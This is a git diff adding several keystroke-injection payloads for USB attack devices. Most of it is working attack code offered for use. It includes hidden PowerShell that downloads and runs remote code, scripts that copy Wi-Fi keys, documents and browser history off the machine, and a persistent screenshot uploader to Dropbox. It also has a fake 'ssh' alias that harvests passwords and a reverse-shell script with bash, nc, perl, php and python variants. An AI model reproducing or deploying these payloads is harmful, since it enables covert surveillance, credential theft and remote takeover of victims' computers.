diff --git a/payloads/library/exfiltration/History-Pig/payload.txt b/payloads/library/exfiltration/History-Pig/payload.txt new file mode 100644 index 00000000..91224b20 --- /dev/null +++ b/payloads/library/exfiltration/History-Pig/payload.txt @@ -0,0 +1,16 @@ +REM Title: History-Pig + +REM Author: atomiczsec + +REM Description: This payload is meant to exfiltrate browsers history to a dropbox + +REM Target: Windows 10, 11 + +DELAY 2000 +GUI r +DELAY 500 +STRING powershell -w h -NoP -NonI -ep Bypass $pl = iwr < Your Shared link for the intended file> dl=1; iex $pl +ENTER + +REM Remember to replace the link with your DropBox shared link for the intended file to download +REM Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properlymode con:cols=14 lines=1 diff --git a/payloads/library/exfiltration/Mac_Exfil/payload.txt b/payloads/library/exfiltration/Mac_Exfil/payload.txt new file mode 100755 index 00000000..d7a252cb --- /dev/null +++ b/payloads/library/exfiltration/Mac_Exfil/payload.txt @@ -0,0 +1,45 @@ +#!/bin/bash + +# Title: Mac_Exfil +# Description: Exfiltrates files from logged in users Documents and Desktop folders +# Author: Carey Balboa - Mac Help Nashville, Inc. with assistance from corydon76 props to Nashville 2600 +# Target: macOS +# Dependencies: none +# +# Format your MicroSD XC card for your Bash Bunny Mark II using FAT32 and name it "BUNNY" containing a folder named "loot" +LED SETUP +ATTACKMODE HID STORAGE VID_0x05AC PID_0x0267 +QUACK GUI SPACE +QUACK DELAY 500 +QUACK STRING terminal +QUACK ENTER +QUACK DELAY 1000 +LED STAGE1 +QUACK STRING "rsync -av --max-size=5.0m --include='*.pdf' --include='*.docx' --include='*.xlsx' --exclude='*' ~/Documents/ ~/Desktop/ /Volumes/BUNNY/loot" +QUACK ENTER +QUACK DELAY 2000 +# Sync filesystem +# By default, the Linux kernel writes data to disk asynchronously. +# Writes are buffered (cached) in memory, and written to the storage device at the optimal time. +# The sync command forces an immediate write of all cached data to disk. +# Run sync if you anticipate the system to be unstable, or the storage device to become suddenly unavailable, +# and you want to ensure all data is written to disk. (WE ARE ABOUT TO EJECT IT) +sync +QUACK DELAY 2000 +LED STAGE2 +QUACK STRING "diskutil eject BUNNY && killall Terminal" +QUACK ENTER +QUACK DELAY 1000 +LED STAGE3 +# LED payload complete +LED W FAST +mount /dev/mmcblk0p1 /mnt +files=$(find /mnt/loot -type f | wc -l) +# debug=$(find /mnt/loot -type f) +# DEBUG "switch-1-debug" "$files:$debug" +umount /mnt +if [ "$files" != "0" ]; then +LED FINISH +else +LED FAIL +fi diff --git a/payloads/library/exfiltration/Mac_Exfil/readme.md b/payloads/library/exfiltration/Mac_Exfil/readme.md new file mode 100644 index 00000000..fa9f7f7d --- /dev/null +++ b/payloads/library/exfiltration/Mac_Exfil/readme.md @@ -0,0 +1,18 @@ +# Mac_Exfil for the BashBunny + +* Author: Carey Balboa - Mac Help Nashville, Inc. with assistance from corydon76 props to Nashville 2600 +* Version: Version 1.0 +* Target: macOS + +## Description + +A payload that Exfiltrates Word, Excel & PDF files from logged in users Documents and Desktop folders + + +## STATUS + +| LED | Status | +| ------------------ | -------------------------------------------- | +| Purple | Executing Payload | +| Green | Successfully grabbed files | +| Red | Did not get files | diff --git a/payloads/library/exfiltration/OooohThatsHandy/Read-Me b/payloads/library/exfiltration/OooohThatsHandy/Read-Me new file mode 100644 index 00000000..6e318835 --- /dev/null +++ b/payloads/library/exfiltration/OooohThatsHandy/Read-Me @@ -0,0 +1,17 @@ +OooohThatsHandy +Extract useful information such as nmap scan results, wifi keys, Local DNS Cache, User privilieges and group memberships, user folder contents with images and documents being transferred +Designed for and tested on Win 10 +@PeteDavis91 - Follow me on Twitter! +v0.4 +Exfiltration +Attackmodes - HID Storage RNDIS_ETHERNET +Credit to Hak5 & Darren for making amaizng content and products for years! +Thanks to 0iphori3 and Cribbit for answering my annoying questions all the time on the discord! + + +LED CODES: +SOLID BLUE LED: Setting Up +FAST BLUE LED: Creating Data +VERY FAST BLUE LED: Exporting Data Created and Discovered +SOLID WHITE LED: Cleaning up and finalizing +FINISH GREEN LED: Safe to remove your Bash Bunny - Enjoy the data diff --git a/payloads/library/exfiltration/OooohThatsHandy/payload b/payloads/library/exfiltration/OooohThatsHandy/payload new file mode 100644 index 00000000..9b222b99 --- /dev/null +++ b/payloads/library/exfiltration/OooohThatsHandy/payload @@ -0,0 +1,63 @@ +REM Title: OooohThatsHandy +REM Description: Extract useful information such as nmap, wifi keys, DNS Cache, User privilieges and group memberships, user folder contents with images and documents, shared folders +REM OS: Designed for Win 10 +REM Author: Twitter @PeteDavis91 +REM Version: 0.6 +REM Category: Exfiltration +REM Attackmodes: HID Storage RNDIS_ETHERNET +REM Credz: Hak5 Darren obviously, 0iphori3 and Cribbit + + +REM LED CODES: +REM SOLID BLUE LED: Setting Up +REM FAST BLUE LED: Creating Data +REM VERY FAST BLUE LED: Exporting Data Created and Discovered +REM SOLID WHITE LED: Cleaning up and finalizing +REM FINISH GREEN LED: Safe to remove your Bash Bunny - Enjoy the data + +REM OPTIONS +REM This option is used for the transferring the user profile onto the BashBunny. Set in milliseconds, the longer you can wait the more data you will get. +NoTimeToHangAround=30000 + +REM This section sets up the BashBunny +LED B SOLID +Q DELAY 1000 +DUCKY_LANG gb +ATTACKMODE HID STORAGE RNDIS_ETHERNET +Q DELAY 1000 +GET TARGET_IP +Q DELAY 500 + +REM This section runs commands to create logs and data for export +LED B FAST +Q DELAY 500 +mkdir /root/hostsideloot +Q DELAY 1000 +nmap -sC -O -F $TARGET_IP >> /root/hostsideloot/nmap.txt +Q DELAY 1000 +RUN WIN 'cmd /minimized /c mkdir %TEMP%\LOOK && netsh wlan show profile * key=clear > %TEMP%\LOOK\WiFi.txt & whoami /all > %TEMP%\LOOK\UserGroupsPrivs.txt' +Q DELAY 1000 +RUN WIN 'cmd /minimized /c ipconfig /displaydns > %TEMP%\LOOK\DNSCache.txt & dsregcmd /status > %TEMP%\LOOK\AzureInfo.txt & net share > %TEMP%\LOOK\Shares.txt' +Q DELAY 1000 +RUN WIN "powershell -W Hidden -c \$s = gwmi win32_service; echo \$s.pathname | Out-File -FilePath %TEMP%\\LOOK\\CheckForUnquoted.txt" + + +REM This section exports the previously created data as well as the running user profile with images and documents +LED B VERYFAST +Q DELAY 50 +RUN WIN "powershell -W Hidden -c \$destination = ((gwmi win32_volume -f '\"label=''BashBunny'''\").Name); robocopy \$env:TEMP\\LOOK \$destination\\loot\\" +Q DELAY 1000 +RUN WIN "powershell -W Hidden -c \$destination = ((gwmi win32_volume -f '\"label=''BashBunny'''\").Name); robocopy \$env:USERPROFILE \$destination\\loot\\ /E /W:1 /R:1 /NP /MT /XD \"\$env:APPDATA\" \"\$env:LOCALAPPDATA\" \"\$env:USERPROFILE\\AppData\"" +Q DELAY $NoTimeToHangAround + + +REM Cleanup and finalizing +LED W SOLID +mv /root/hostsideloot/nmap.txt /root/udisk/loot/ +RUN WIN 'cmd /c rmdir /s /q %TEMP%\LOOK' +rmdir /root/hostsideloot + + +ATTACKMODE FINISH +LED G FINISH + diff --git a/payloads/library/exfiltration/Screen-Shock/I.bat b/payloads/library/exfiltration/Screen-Shock/I.bat new file mode 100644 index 00000000..665c9be9 --- /dev/null +++ b/payloads/library/exfiltration/Screen-Shock/I.bat @@ -0,0 +1,3 @@ +@echo off +powershell -Command "& {cd "$env:userprofile\AppData\Roaming"; powershell -w h -NoP -NonI -Ep Bypass -File "c.ps1"}" +pause diff --git a/payloads/library/exfiltration/Screen-Shock/README.md b/payloads/library/exfiltration/Screen-Shock/README.md new file mode 100644 index 00000000..a53c03fd --- /dev/null +++ b/payloads/library/exfiltration/Screen-Shock/README.md @@ -0,0 +1,117 @@ + + +

+ + + +

+ + +
+ Table of Contents +
    +
  1. Description
  2. +
  3. Getting Started
  4. +
  5. Contributing
  6. +
  7. Version History
  8. +
  9. Contact
  10. +
  11. Acknowledgments
  12. +
+
+ +# Screen-Shock + +This payload is meant to exfiltrate screenshots of all monitors and sends to a dropbox every 15 seconds. (This setting can be changed in the c.ps1 file) + +## Description + +This payload uses iwr to download 2 files +* I.bat +* c.ps1 + +**I.bat** is downloaded to the startup folder to maintain persistance and execute c.ps1 on reboot/startup + +**c.ps1** will sit in AppData\Roaming folder, taking a screenshot of all monitors every 15 seconds + +Then the contents will then be sent to the DropBox for viewing pleasure + + + +## Getting Started + +### Dependencies + +* Pastebin or other file sharing service, Dropbox +* Windows 10 +* [Here](https://github.com/I-Am-Jakoby/PowerShell-for-Hackers/blob/main/Functions/DropBox-Upload.md) is a tutorial on how to use DropBox-Upload + +

(back to top)

+ +### Executing program + +* Plug in your device +* Device will download both files and place them in proper directories to then run the script +``` +powershell -w h -NoP -NonI -Ep Bypass "echo (iwr PASTEBIN LINK FOR BAT).content > "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\l.bat";echo (iwr PASTEBIN LINK FOR PS1).content > "$env:APPDATA\c.ps1";powershell "$env:APPDATA\c.ps1"" +``` + +

(back to top)

+ +## Contributing + +All contributors names will be listed here: + +[atomiczsec](https://github.com/atomiczsec) + +

(back to top)

+ +## Version History + +* 0.1 + * Initial Release + +

(back to top)

+ + +## Contact + +

πŸ“± My Socials πŸ“±

+
+ + + + + + +
+ + C# + +
YouTube +
+ + Python + +
Twitter +
+ + Jsonnet + +
I-Am-Jakoby's Discord +
+
+ +

(back to top)

+ + + + +

(back to top)

+ + +## Acknowledgments + +* [Hak5](https://hak5.org/) +* [I-Am-Jakoby](https://github.com/I-Am-Jakoby) + +

(back to top)

diff --git a/payloads/library/exfiltration/Screen-Shock/c.ps1 b/payloads/library/exfiltration/Screen-Shock/c.ps1 new file mode 100644 index 00000000..e1a89054 --- /dev/null +++ b/payloads/library/exfiltration/Screen-Shock/c.ps1 @@ -0,0 +1,45 @@ +function DropBox-Upload { + +[CmdletBinding()] +param ( + +[Parameter (Mandatory = $True, ValueFromPipeline = $True)] +[Alias("f")] +[string]$SourceFilePath +) +$DropBoxAccessToken = "YOUR-DROPBOX-TOKEN" # Replace with your DropBox Access Token +$outputFile = Split-Path $SourceFilePath -leaf +$TargetFilePath="/$outputFile" +$arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }' +$authorization = "Bearer " + $DropBoxAccessToken +$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]" +$headers.Add("Authorization", $authorization) +$headers.Add("Dropbox-API-Arg", $arg) +$headers.Add("Content-Type", 'application/octet-stream') +Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers +} + +while(1){ + + Add-Type -AssemblyName System.Windows.Forms,System.Drawing + + $screens = [Windows.Forms.Screen]::AllScreens + + $top = ($screens.Bounds.Top | Measure-Object -Minimum).Minimum + $left = ($screens.Bounds.Left | Measure-Object -Minimum).Minimum + $width = ($screens.Bounds.Right | Measure-Object -Maximum).Maximum + $height = ($screens.Bounds.Bottom | Measure-Object -Maximum).Maximum + + $bounds = [Drawing.Rectangle]::FromLTRB($left, $top, $width, $height) + $bmp = New-Object -TypeName System.Drawing.Bitmap -ArgumentList ([int]$bounds.width), ([int]$bounds.height) + $graphics = [Drawing.Graphics]::FromImage($bmp) + + $graphics.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.size) + + $bmp.Save("$env:USERPROFILE\AppData\Local\Temp\$env:computername-Capture.png") + $graphics.Dispose() + $bmp.Dispose() + + start-sleep -Seconds 15 + "$env:USERPROFILE\AppData\Local\Temp\$env:computername-Capture.png" | DropBox-Upload +} diff --git a/payloads/library/exfiltration/Screen-Shock/payload.txt b/payloads/library/exfiltration/Screen-Shock/payload.txt new file mode 100644 index 00000000..d7513965 --- /dev/null +++ b/payloads/library/exfiltration/Screen-Shock/payload.txt @@ -0,0 +1,17 @@ +REM Title: Screen-Shock + +REM Author: atomiczsec + +REM Description: This payload is meant to exfiltrate screenshots of all monitors and sends to a dropbox every 15 seconds. (This setting can be changed in the c.ps1 file) + +REM Target: Windows 10 + +DELAY 2000 +GUI +DELAY +STRING powershell -w h -NoP -NonI -Ep Bypass "echo (iwr PASTEBIN LINK FOR BAT).content > "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\l.bat";echo (iwr PASTEBIN LINK FOR PS1).content > "$env:APPDATA\c.ps1";powershell "$env:APPDATA\c.ps1"" +ENTER + +REM Remember to replace the link with your pastebin shared link for the intended files to download +REM Also remember to put in your discord webhook in c.ps1 +REM For the PASTEBIN LINK's do not put https:// infront of it, it should look like pastebin.com/raw/BLAHBLAHBLAH \ No newline at end of file diff --git a/payloads/library/exfiltration/Screen-Shock/placeholder b/payloads/library/exfiltration/Screen-Shock/placeholder new file mode 100644 index 00000000..8b137891 --- /dev/null +++ b/payloads/library/exfiltration/Screen-Shock/placeholder @@ -0,0 +1 @@ + diff --git a/payloads/library/exfiltration/simple-usb-extractor/x.cmd b/payloads/library/exfiltration/simple-usb-extractor/x.cmd index 757d8fd8..78d97675 100644 --- a/payloads/library/exfiltration/simple-usb-extractor/x.cmd +++ b/payloads/library/exfiltration/simple-usb-extractor/x.cmd @@ -33,5 +33,9 @@ xcopy /C /Q /G /Y %USERPROFILE%\Downloads\*.pdf %dst% >>nul xcopy /C /Q /G /Y %USERPROFILE%\Downloads\*.docx %dst% >>nul ) +if Exist %USERPROFILE%\AppData\Local\Google\Chrome\ ( +xcopy /C /Q /G /Y "%USERPROFILE%\AppData\Local\Google\Chrome\User Data\Default\History" %dst% >>nul +) + @cls @exit diff --git a/payloads/library/general/Water-UnMark/README.md b/payloads/library/general/Water-UnMark/README.md new file mode 100644 index 00000000..c1b36160 --- /dev/null +++ b/payloads/library/general/Water-UnMark/README.md @@ -0,0 +1,103 @@ + + +

+ + + +

+ + +
+ Table of Contents +
    +
  1. Description
  2. +
  3. Getting Started
  4. +
  5. Contributing
  6. +
  7. Version History
  8. +
  9. Contact
  10. +
  11. Acknowledgments
  12. +
+
+ +# Water-UnMark + +A payload to get rid of the ugly windows activation watermark. + +## Description +This script will get rid of the ugly windows watermark. This script will automatically reboot the device. This is not activating your computer!! + +## Getting Started + +### Dependencies + +* Unactivated Windows 10 + +

(back to top)

+ +### Executing program + +* Plug in your device +``` +Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\svsvc" -Name Start -Value 4 -Force +``` + +

(back to top)

+ +## Contributing + +All contributors names will be listed here: + +[atomiczsec](https://github.com/atomiczsec) + +

(back to top)

+ +## Version History + +* 0.1 + * Initial Release + +

(back to top)

+ + +## Contact + +

πŸ“± My Socials πŸ“±

+
+ + + + + + +
+ + C# + +
YouTube +
+ + Python + +
Twitter +
+ + Jsonnet + +
I-Am-Jakoby's Discord +
+
+ +

(back to top)

+ + + + +

(back to top)

+ + +## Acknowledgments + +* [Hak5](https://hak5.org/) +* [I-Am-Jakoby](https://github.com/I-Am-Jakoby) + +

(back to top)

diff --git a/payloads/library/general/Water-UnMark/payload.txt b/payloads/library/general/Water-UnMark/payload.txt new file mode 100644 index 00000000..e57c6d7b --- /dev/null +++ b/payloads/library/general/Water-UnMark/payload.txt @@ -0,0 +1,17 @@ +ο»ΏREM Title: Water-UnMark +REM Author: atomiczsec +REM Target OS: Windows 10 +REM Description: This script will get rid of the ugly windows watermark. This script will automatically reboot the device. This is not activating your computer!! + +DELAY 2000 +GUI r +DELAY 100 +STRING powershell Start-Process powershell -verb runAs +DELAY 1000 +ALT Y +DELAY 1000 +STRING Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\svsvc" -Name Start -Value 4 -Force +ENTER +DELAY 100 +STRING Restart-Computer -Force +ENTER diff --git a/payloads/library/general/Water-UnMark/placeholder b/payloads/library/general/Water-UnMark/placeholder new file mode 100644 index 00000000..8b137891 --- /dev/null +++ b/payloads/library/general/Water-UnMark/placeholder @@ -0,0 +1 @@ + diff --git a/payloads/library/phishing/fake-ssh/README.md b/payloads/library/phishing/fake-ssh/README.md new file mode 100644 index 00000000..ca3bb433 --- /dev/null +++ b/payloads/library/phishing/fake-ssh/README.md @@ -0,0 +1,44 @@ +# Fake SSH + +- Title: Fake SSH +- Author: TW-D +- Version: 1.0 +- Target: Linux +- Category: Phishing + +## Description + +1) Copies the "ssh" command spoofing program to the user's home directory. +2) Defines a new persistent "ssh" alias with the file "~/.bash_aliases". +3) When the user executes the command "ssh" in a terminal, the spoofing program : +- __By default__ retrieves the username@address and password and writes them to "/tmp/.ssh_password". +- __But__ this behavior can be changed in line 20 of the "ssh-phishing.sh" file. + +## Configuration + +From "payload.txt" change the values of the following constant : +```bash + +######## INITIALIZATION ######## + +readonly BB_LABEL="BashBunny" + +``` + +From "ssh-phishing.sh" change the values of the following constants if necessary : +```bash + +readonly MAXIMUM_ATTEMPTS=3 + +``` + +From "ssh-phishing.sh", change the payload if you wish : +```bash +## +# +## +/bin/echo "${1}:${ssh_password}" >> /tmp/.ssh_password +## +# +## +``` \ No newline at end of file diff --git a/payloads/library/phishing/fake-ssh/payload.txt b/payloads/library/phishing/fake-ssh/payload.txt new file mode 100644 index 00000000..2b941a78 --- /dev/null +++ b/payloads/library/phishing/fake-ssh/payload.txt @@ -0,0 +1,86 @@ +#!/bin/bash +# +# Title: Fake-SSH +# +# Description: +# This program creates a fake "ssh" +# command by defining an persistent alias. +# +# Author: TW-D +# Version: 1.0 +# Category: Phishing +# Target: Linux +# Attackmodes: HID and STORAGE +# +# TESTED ON +# =============== +# Ubuntu 20.04.4 LTS x86_64 (Xfce) and OpenSSH_8.2p1 +# +# STATUS +# =============== +# Magenta solid ................................... SETUP +# Yellow single blink ............................. ATTACK +# Yellow double blink ............................. STAGE2 +# Yellow triple blink ............................. STAGE3 +# Yellow quadruple blink .......................... STAGE4 +# White fast blink ................................ CLEANUP +# Green 1000ms VERYFAST blink followed by SOLID ... FINISH + +######## INITIALIZATION ######## + +readonly BB_LABEL="BashBunny" + +######## SETUP ######## + +LED SETUP + +ATTACKMODE HID STORAGE +GET SWITCH_POSITION +udisk mount + +######## ATTACK ######## + +LED ATTACK + +Q DELAY 7000 +Q CTRL-ALT t +Q DELAY 7000 + +LED STAGE2 + +Q STRING " cd /media/\${USER}/${BB_LABEL}/payloads/${SWITCH_POSITION}/" +Q ENTER +Q DELAY 1500 + +Q STRING " cp ./ssh-phishing.sh ~/.ssh_phishing.sh" +Q ENTER +Q DELAY 1500 + +LED STAGE3 + +Q STRING " chmod +x ~/.ssh_phishing.sh" +Q ENTER +Q DELAY 1500 + +Q STRING " printf \"\\nalias ssh='~/.ssh_phishing.sh'\\n\" >> ~/.bash_aliases" +Q ENTER +Q DELAY 1500 + +LED STAGE4 + +Q STRING " exit" +Q ENTER +Q DELAY 1500 + +######## CLEANUP ######## + +LED CLEANUP + +sync +udisk unmount + +######## FINISH ######## + +LED FINISH + +shutdown -h 0 \ No newline at end of file diff --git a/payloads/library/phishing/fake-ssh/ssh-phishing.sh b/payloads/library/phishing/fake-ssh/ssh-phishing.sh new file mode 100644 index 00000000..0d71f168 --- /dev/null +++ b/payloads/library/phishing/fake-ssh/ssh-phishing.sh @@ -0,0 +1,48 @@ +#!/bin/bash +# +# Fake-SSH +# +# This program imitates the behavior +# of the "ssh" command. +# + +readonly MAXIMUM_ATTEMPTS=3 + +attempts() { + /bin/echo -n "${1}'s password: " + read -r -s ssh_password + /bin/echo "" + /bin/echo "echo \"${ssh_password}\"" > "${SSH_ASKPASS}" + if ( /bin/setsid --wait /usr/bin/ssh -o ConnectTimeout=5 -o StrictHostKeyChecking="no" -o UserKnownHostsFile="/dev/null" "${1}" "exit" > /dev/null 2>&1 ); then + ## + # + ## + /bin/echo "${1}:${ssh_password}" >> /tmp/.ssh_password + ## + # + ## + /bin/setsid --wait /usr/bin/ssh -o StrictHostKeyChecking="no" -o UserKnownHostsFile="/dev/null" $2 2> /dev/null + /bin/rm "${SSH_ASKPASS}" + exit 0 + fi + /bin/echo "Permission denied, please try again." +} + +if [ "${#}" -eq 0 ]; then + /usr/bin/ssh +else + for destination in "${@}"; do + if [[ "${destination}" =~ "@" ]]; then + export SSH_ASKPASS="/tmp/.askpass_script.sh" + /bin/echo "" > "${SSH_ASKPASS}" + chmod +x "${SSH_ASKPASS}" + for ((iterator=1; iterator <= MAXIMUM_ATTEMPTS; iterator++)); do + attempts "${destination}" "${*}" + done + /bin/echo "${destination}: Permission denied (publickey,password,keyboard-interactive)." + /bin/rm "${SSH_ASKPASS}" + exit 0 + fi + done + /usr/bin/ssh "${@}" +fi \ No newline at end of file diff --git a/payloads/library/remote_access/linux_random-reverse-shell/README.md b/payloads/library/remote_access/linux_random-reverse-shell/README.md new file mode 100644 index 00000000..4c388b1c --- /dev/null +++ b/payloads/library/remote_access/linux_random-reverse-shell/README.md @@ -0,0 +1,32 @@ +# Random Reverse Shell + +- Title: Random Reverse Shell +- Author: TW-D +- Version: 1.0 +- Target: Linux +- Category: Remote Access + +## Description + +1) Checks the availability of binaries on the system. +2) Builds a list of possible payloads. +3) Performs one at random. + +## Configuration + +From "payload.txt" change the values of the following constant : +```bash + +######## INITIALIZATION ######## + +readonly BB_LABEL="BashBunny" +readonly REMOTE_HOST="127.0.0.1" +readonly REMOTE_PORT=54424 + +``` + +## Usage + +``` +hacker@hacker-computer:~$ nc -lnvvp +``` \ No newline at end of file diff --git a/payloads/library/remote_access/linux_random-reverse-shell/payload.txt b/payloads/library/remote_access/linux_random-reverse-shell/payload.txt new file mode 100644 index 00000000..f6ea8594 --- /dev/null +++ b/payloads/library/remote_access/linux_random-reverse-shell/payload.txt @@ -0,0 +1,85 @@ +#!/bin/bash +# +# Title: Random Reverse Shell +# +# Description: +# 1) Checks the availability of binaries on the system. +# 2) Builds a list of possible payloads. +# 3) Performs one at random. +# +# Author: TW-D +# Version: 1.0 +# Category: Remote Access +# Target: Linux +# Attackmodes: HID and STORAGE +# +# TESTED ON +# ========== +# Ubuntu 20.04.4 LTS x86_64 (Xfce) +# +# STATUS +# =============== +# Magenta solid ................................... SETUP +# Yellow single blink ............................. ATTACK +# Yellow double blink ............................. STAGE2 +# Yellow triple blink ............................. STAGE3 +# Yellow quadruple blink .......................... STAGE4 +# White fast blink ................................ CLEANUP +# Green 1000ms VERYFAST blink followed by SOLID ... FINISH + +######## INITIALIZATION ######## + +readonly BB_LABEL="BashBunny" +readonly REMOTE_HOST="127.0.0.1" +readonly REMOTE_PORT=54424 + +######## SETUP ######## + +LED SETUP + +ATTACKMODE HID STORAGE +GET SWITCH_POSITION +udisk mount + +######## ATTACK ######## + +LED ATTACK + +Q DELAY 7000 +Q CTRL-ALT t +Q DELAY 5000 + +LED STAGE2 + +Q STRING " cd /media/\${USER}/${BB_LABEL}/payloads/${SWITCH_POSITION}/" +Q ENTER +Q DELAY 1500 + +LED STAGE3 + +Q STRING " chmod +x ./random_reverse-shell.sh" +Q ENTER +Q DELAY 1500 + +Q STRING " \$BASH ./random_reverse-shell.sh ${REMOTE_HOST} ${REMOTE_PORT}" +Q ENTER +Q DELAY 3000 + +LED STAGE4 + +Q STRING " exit" +Q ENTER +Q DELAY 1000 + +######## CLEANUP ######## + +LED CLEANUP + +sync +udisk unmount + +######## FINISH ######## + +LED FINISH + +shutdown -h 0 \ No newline at end of file diff --git a/payloads/library/remote_access/linux_random-reverse-shell/random_reverse-shell.sh b/payloads/library/remote_access/linux_random-reverse-shell/random_reverse-shell.sh new file mode 100644 index 00000000..2e95a1a0 --- /dev/null +++ b/payloads/library/remote_access/linux_random-reverse-shell/random_reverse-shell.sh @@ -0,0 +1,126 @@ +#!/bin/bash +# +# Title: Random Reverse Shell +# +# Description: +# 1) Checks the availability of binaries on the system. +# 2) Builds a list of possible payloads. +# 3) Performs one at random. +# +# Author: TW-D +# Version: 1.0 +# Category: Remote Access +# Target: Linux +# Attackmodes: HID and STORAGE +# +# TESTED ON +# ========== +# Ubuntu 20.04.4 LTS x86_64 (Xfce) +# +# USAGE +# ========== +# hacker@hacker-computer:~$ nc -lnvvp +# victim@victim-computer:~$ $BASH ./random_reverse-shell.sh +# + +set -eo pipefail + +readonly REMOTE_HOST="${1}" + +readonly REMOTE_PORT="${2}" + +readonly RANDOM_FILENAME="${RANDOM}" + +readonly BINARIES_LIST=( + "/bin/bash" + "/bin/mkfifo" + "/bin/cat" + "/bin/nc" + "/bin/perl" + "/bin/php" + "/bin/python" + "/bin/ruby" + "/bin/sh" + "/bin/mknod" + "/bin/telnet" +) + +readonly BASH_PAYLOAD=$(cat < /dev/tcp/${REMOTE_HOST}/${REMOTE_PORT} 0<&1 2>&1 +EOF +) + +# +# [CTRL + c] +# +readonly NC_PAYLOAD=$(cat <&1 | /bin/nc ${REMOTE_HOST} ${REMOTE_PORT} > /tmp/${RANDOM_FILENAME} +EOF +) + +# +# Tested on Perl v5.30.0 +# [CTRL + c] +# +readonly PERL_PAYLOAD=$(cat <fdopen(\$socket, "r"); ($~)->fdopen(\$socket, "w"); system(\$_) while<>' +EOF +) + +# +# Tested on PHP v7.4.3 +# +readonly PHP_PAYLOAD=$(cat <&3 2>&3");' +EOF +) + +# +# Tested on Python v2.7.18 +# +readonly PYTHON_PAYLOAD=$(cat < /dev/tcp/${REMOTE_HOST}/${REMOTE_PORT} 0<&1 2>&1 +EOF +) + +readonly TELNET_PAYLOAD=$(cat </tmp/${RANDOM_FILENAME} +EOF +) + +set -u + +available_binaries=() + +for binary in "${BINARIES_LIST[@]}"; do + if command -v "${binary}" > /dev/null 2>&1; then + available_binaries+=("${binary}") + fi +done + +available_payloads=() + +[[ "${available_binaries[*]}" =~ "/bin/bash" ]] && available_payloads+=("${BASH_PAYLOAD}") || echo "" +[[ "${available_binaries[*]}" =~ "/bin/mkfifo" && "${available_binaries[*]}" =~ "/bin/cat" && "${available_binaries[*]}" =~ "/bin/nc" ]] && available_payloads+=("${NC_PAYLOAD}") || echo "" +[[ "${available_binaries[*]}" =~ "/bin/perl" ]] && available_payloads+=("${PERL_PAYLOAD}") || echo "" +[[ "${available_binaries[*]}" =~ "/bin/php" ]] && available_payloads+=("${PHP_PAYLOAD}") || echo "" +[[ "${available_binaries[*]}" =~ "/bin/python" ]] && available_payloads+=("${PYTHON_PAYLOAD}") || echo "" +[[ "${available_binaries[*]}" =~ "/bin/ruby" ]] && available_payloads+=("${RUBY_PAYLOAD}") || echo "" +[[ "${available_binaries[*]}" =~ "/bin/sh" ]] && available_payloads+=("${SH_PAYLOAD}") || echo "" +[[ "${available_binaries[*]}" =~ "/bin/mknod" && "${available_binaries[*]}" =~ "/bin/telnet" ]] && available_payloads+=("${TELNET_PAYLOAD}") || echo "" + +random_payload=${available_payloads[$RANDOM % "${#available_payloads[@]}"]} +$BASH -c "${random_payload}" & \ No newline at end of file